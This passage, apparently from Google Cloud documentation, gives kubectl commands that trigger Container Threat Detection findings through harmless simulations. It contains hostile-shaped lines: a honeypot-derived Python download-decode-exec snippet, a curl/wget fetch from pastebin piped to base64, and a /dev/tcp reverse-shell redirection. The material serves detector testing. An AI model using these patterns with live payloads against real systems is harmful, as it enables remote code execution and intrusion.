這項測試程序應會建立「Execution: Kubernetes Attack Tool Execution」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
執行:本機偵查工具執行作業
如要觸發 Execution: Local Reconnaissance Tool Execution
尋找作業,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls
複製到其他位置、重新命名為可疑工具 (linenum.sh
),然後執行該工具。因為執行重新命名的二進位檔會模擬與本機偵察嘗試一致的行為,因此這項動作會被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
導入本機偵查工具二進位檔 (例如
linenum.sh
) 並執行:x86 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
ARM 節點:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
這項測試程序應會建立「Execution: Local Reconnaissance Tool Execution」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:已執行惡意 Python
如要觸發「已執行惡意 Python」執行項目,請在容器中執行下列程序中的 Python。
這個程序會部署最新的 Python 映像檔、複製疑似惡意的 Python 程式碼,然後執行該程式碼。如要觸發偵測,Python 程式碼必須對偵測器而言屬於惡意。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
在新容器中執行下列指令碼。
這段 Python 程式碼源自蜜罐。不過,該檔案經過修改,因此不會執行惡意二進位檔。執行指令碼不會在容器中造成惡意活動。 參照網址中的二進位檔不存在,嘗試追蹤該網址會導致 404 錯誤。這是正常情形。 系統偵測到嘗試使用內嵌指令碼下載、解碼及執行二進位檔的行為時,就會觸發偵測機制。
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
這項測試程序會建立「Execution: Malicious Python Executed」發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定記錄功能)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:已執行修改過的惡意二進位檔
如要觸發「已執行修改過的惡意二進位檔」發現項目,請修改容器中的惡意二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /bin/ls
修改為 EICAR 測試惡意檔案,然後執行該檔案。由於建立的 /bin/ls
在容器執行階段遭到修改 (做為 EICAR 測試惡意二進位檔),且根據威脅情報,EICAR 二進位檔是已知的惡意檔案,因此二進位檔的執行作業會發生非預期情況。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
ARM 節點:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
這項測試程序應會建立「執行:已執行惡意二進位檔」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center 進階或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
為減少噪音,首次建立容器時,Container Threat Detection 會暫時篩除「執行:已執行修改過的惡意二進位檔」的發現項目。如要在設定容器時查看所有「執行:執行已修改的惡意二進位檔」的調查結果,請在容器名稱或 Pod 名稱加上 ktd-test
前置字元,如範例所示。
執行作業:容器中的 Netcat 遠端程式碼執行作業
如要觸發 Execution: Netcat Remote Code Execution In Container
事件,必須在容器內存在並執行可進行網路通訊的二進位檔 (例如 netcat 本身,或是其他公用程式的重新命名副本)。這個範例會以最新 Ubuntu 24.04 映像檔做為基礎進行部署。這個指令會複製 /bin/ls
二進位檔,並將副本重新命名為 netcat
(網路公用程式)。接著,系統會使用適合網路互動的引數執行這個重新命名的二進位檔。這項活動會標示為可疑,是因為它模仿了在容器化環境中嘗試執行遠端程式碼時常見的行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
導入
netcat
等網路通訊工具二進位檔,並使用適當的引數執行:x86 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
ARM 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
這項測試程序應會建立 Execution: Netcat Remote Code Execution In
Container
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行作業:偵測到可能的遠端指令執行作業
如要觸發 Execution: Possible Remote Command Execution Detected
(預覽版) 發現項目,必須在容器中觀察到與遠端指令執行相關的指令或二進位檔執行作業。本範例使用最新版的 Ubuntu 24.04 映像檔。這個指令會複製 /bin/ls
,並重新命名為 touch
(或其他工具,例如 find
)。接著,系統會執行這個重新命名的二進位檔,並使用適合遠端指令執行的引數。這種行為會標示為可疑,因為可能表示有人嘗試建立未經授權的容器遠端存取權。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當引數執行
touch
等二進位檔:x86 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
ARM 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch -o /tmp/touch.o"
這項測試程序會建立 Execution: Possible Remote Command
Execution Detected
發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定 Logging)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:在禁止使用 HTTP Proxy 的環境中執行程式
如要觸發 Execution: Program Run with Disallowed HTTP Proxy Env
發現項目,請在容器中執行程式,並將 HTTP Proxy 環境變數設為不允許的值。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/ls
公用程式會複製並重新命名為 /tmp/curl
。然後,系統會執行這個重新命名的二進位檔,並為 HTTP Proxy 環境變數設定不允許的值 (例如 HTTP_PROXY
、http_proxy
)。程式執行和不允許的 HTTP Proxy 環境變數同時存在,會被標示為可疑,因為這表示有人嘗試透過未經授權的 Proxy 通訊。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行可連網的二進位檔 (例如
curl
),並使用禁止的 HTTP Proxy 環境變數執行:x86 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
ARM 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
這項測試程序應會建立 Execution: Program Run with Disallowed
HTTP Proxy Env
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:已載入可疑的 OpenSSL 共用物件
如要觸發 Execution: Suspicious OpenSSL Shared Object Loaded
發現項目,請執行 openssl engine
指令,並提供副檔名為 .so
的檔案做為引數。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/ls
公用程式會複製並重新命名為 /tmp/openssl
。接著,系統會使用 engine
和假的 .so
檔案引數執行這個重新命名的二進位檔。系統會將執行 openssl engine
和 .so
檔案的行為標示為可疑,因為這類行為與載入共用物件以執行惡意程式碼的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行可連網的二進位檔 (例如
curl
),並使用禁止的 HTTP Proxy 環境變數執行:x86 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
ARM 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; openssl engine /tmp/fakelib.so"
這項測試程序應會建立發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Execution: Suspicious OpenSSL Shared Object Loaded
只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
外洩:在容器中啟動遠端檔案複製工具
如要觸發 Exfiltration: Launch Remote File Copy Tools In Container
發現結果,請在容器中執行常見的遠端檔案複製工具。本範例使用最新的 Ubuntu 24.04 映像檔。/bin/ls
公用程式會複製並重新命名為 /tmp/rsync
,然後執行,從遠端 (可能含有惡意內容) 來源擷取檔案。如果容器內有這類工具,且附有遠端檔案擷取引數,系統就會將其標示為可疑,因為這可能表示有人試圖下載及執行惡意程式碼,或外洩資料。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行遠端檔案複製工具,例如
rsync
,然後執行該工具:x86 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
ARM 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
這項測試程序應會建立 Exfiltration: Launch Remote File Copy Tools
In Container
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
影響:偵測惡意指令列
如要觸發 Impact: Detect Malicious Cmdlines
(預覽) 發現項目,必須在容器中觀察到執行含有已知惡意模式或引數的指令列。本範例使用最新版的 Ubuntu 24.04 映像檔。這項作業包括複製 /bin/ls
二進位檔,並將副本重新命名為 ipfs
。接著執行重新命名的二進位檔。這種行為會標示為可疑,因為可能表示有人嘗試執行惡意程式碼或規避安全控管機制。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行二進位檔,例如
ipfs
:x86 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
ARM 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
這項測試程序會建立Impact: Detect Malicious Cmdlines
發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (如果您已為 Container Threat Detection 設定記錄功能)。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
影響:從磁碟移除大量資料
如要觸發 Impact: Remove Bulk Data From Disk
發現項目,請在容器中放置可刪除或覆寫資料的二進位檔,然後執行該檔案。本範例使用最新版 Ubuntu 24.04 映像檔。方法是複製 /bin/ls
二進位檔,並將副本重新命名為 shred
(或類似的公用程式,專為安全刪除檔案而設計)。接著,系統會執行重新命名的二進位檔。這項動作會標示為可疑,因為這類行為通常發生在有人嘗試從容器化環境中的磁碟移除大量資料時。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
導入檔案或資料刪除二進位檔 (例如
shred
),然後執行:x86 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
ARM 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
這項測試程序應會建立Impact: Remove Bulk Data From Disk
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
影響:使用 Stratum 通訊協定的可疑加密貨幣挖礦活動
如要觸發 Impact: Suspicious crypto mining activity using the Stratum
Protocol
發現結果,必須在容器中執行二進位檔,並使用類似於加密貨幣挖礦軟體使用的引數,透過 Stratum 通訊協定進行通訊。本範例使用最新版 Ubuntu 24.04 映像檔。這個指令會複製 /bin/ls
,並將副本重新命名為模擬二進位檔 (大概是為了模擬加密貨幣挖礦程式)。接著,系統會使用包含 stratum+tcp
或類似 Stratum 通訊協定指標的引數,執行這個重新命名的二進位檔。這項活動模仿容器化環境中的加密貨幣挖礦軟體網路通訊模式,因此遭到標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
導入
curl
等公用程式二進位檔,並使用類似於加密貨幣挖礦軟體所用的引數執行,這些軟體是透過 Stratum 通訊協定進行通訊:x86 節點:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
ARM 節點:
tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
這項測試程序應會建立 Impact: Suspicious crypto mining activity
using the Stratum Protocol
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
您也可能會看到在此測試中執行的 bash
指令的其他發現項目。這是正常現象,您可以忽略額外的發現。
已執行惡意指令碼
如要觸發「執行惡意指令碼」發現項目,您可以在容器中執行下列程序中的指令碼。
這個程序會部署最新的 Ubuntu 24.04 映像檔、複製看似惡意的指令碼,然後執行該指令碼。如要觸發偵測,指令碼必須對偵測器顯示為惡意。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
在新容器中執行下列指令碼。
這個內嵌 Bourne 殼層指令碼源自蜜罐。不過,我們已修改該指令碼,使其不會執行惡意二進位檔,因此執行指令碼不會在容器中造成惡意活動。指定網址中的二進位檔可能已遭移除,嘗試追蹤該網址會導致 404 錯誤。這是正常情形。 系統偵測到嘗試使用內嵌指令碼下載、解碼及執行二進位檔的行為時,就會觸發偵測機制。
x86 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
ARM 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
這項測試程序會建立「執行惡意指令碼」發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已設定 Container Threat Detection 的記錄功能)。只有在啟用 Security Command Center 的進階或企業方案後,才能在 Cloud Logging 中查看發現項目。
偵測到惡意網址
如要觸發「偵測到惡意網址」結果,請執行二進位檔,並提供惡意網址做為引數。
以下範例會部署 Ubuntu 24.04 映像檔,並執行 /bin/curl
,從安全瀏覽服務存取惡意軟體網址範例。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行
curl
,並提供惡意網址做為引數:x86 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
ARM 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
這項測試程序會觸發「偵測到惡意網址」發現項目,您可以在 Security Command Center 中查看,如果已設定 Container Threat Detection 的記錄功能,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在機構層級啟用 Security Command Center 進階或 Enterprise 方案。
權限提升:在「/dev/shm
」中無檔案執行作業
如要觸發 Privilege Escalation: Fileless Execution in /dev/shm
發現結果,必須從 /dev/shm 記憶體內檔案系統執行程序。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/echo
公用程式會複製到 /dev/shm/echo
。然後執行這個重新命名的二進位檔。
系統會將 /dev/shm
下的檔案執行作業標示為可疑,因為這類作業會模擬物件在記憶體中執行的行為,藉此規避檔案偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
建立具備特殊權限的容器,並開啟 bash 來執行指令:
x86 節點:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \ "$tag" -- bash
ARM 節點:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}] "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
將
echo
複製到/dev/shm
,並使用chmod
設為可執行cp /bin/echo /dev/shm chmod 777 /dev/shm/echo
重新掛接
/dev/shm
即可執行mount -o remount,exec /dev/shm
從
/dev/shm
執行echo
/dev/shm/echo "Hello from /dev/shm"
這項測試程序應會建立發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Privilege Escalation: Fileless Execution in /dev/shm
只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
反向殼層
如要觸發反向 Shell 發現結果,請啟動二進位檔,並將 stdin
重新導向至 TCP 連線的通訊端。這個範例會將 /bin/echo
複製到 /tmp/sh
,然後啟動 /tmp/sh
,並將其重新導向至 DNS 連接埠上的 Google 公用 DNS
8.8.8.8
。執行這個範例時,不會列印任何內容。為防止透過中間人 (MITM) 攻擊注入任何外部程式碼,這個範例不會使用 /bin/sh
二進位檔。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
啟動二進位檔,並將
/bin/echo
重新導向至 Google 公用 DNS:x86 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
ARM 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
這項測試程序會建立反向 Shell 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在機構層級啟用 Security Command Center Premium 或 Enterprise 方案。
非預期的子殼層
如要測試 Unexpected Child Shell
偵測器,可以建立包含子項殼層程序的程序樹狀結構。
以下範例會建立 consul->dash
程序樹,可由 Unexpected Child Shell
偵測器偵測。這項測試只會使用內建二進位檔,因此安全無虞。這個範例會執行下列操作:
- 建立
sh
程序的副本,並命名為consul
。 - 複製
echo
程序並命名為dash
。 - 在複製的
consul
程序中,叫用複製的dash
程序。
如要觸發 Unexpected Child Shell
發現項目,請執行下列操作:
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用模擬
consul
程序叫用模擬殼層:x86 節點:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
ARM 節點:
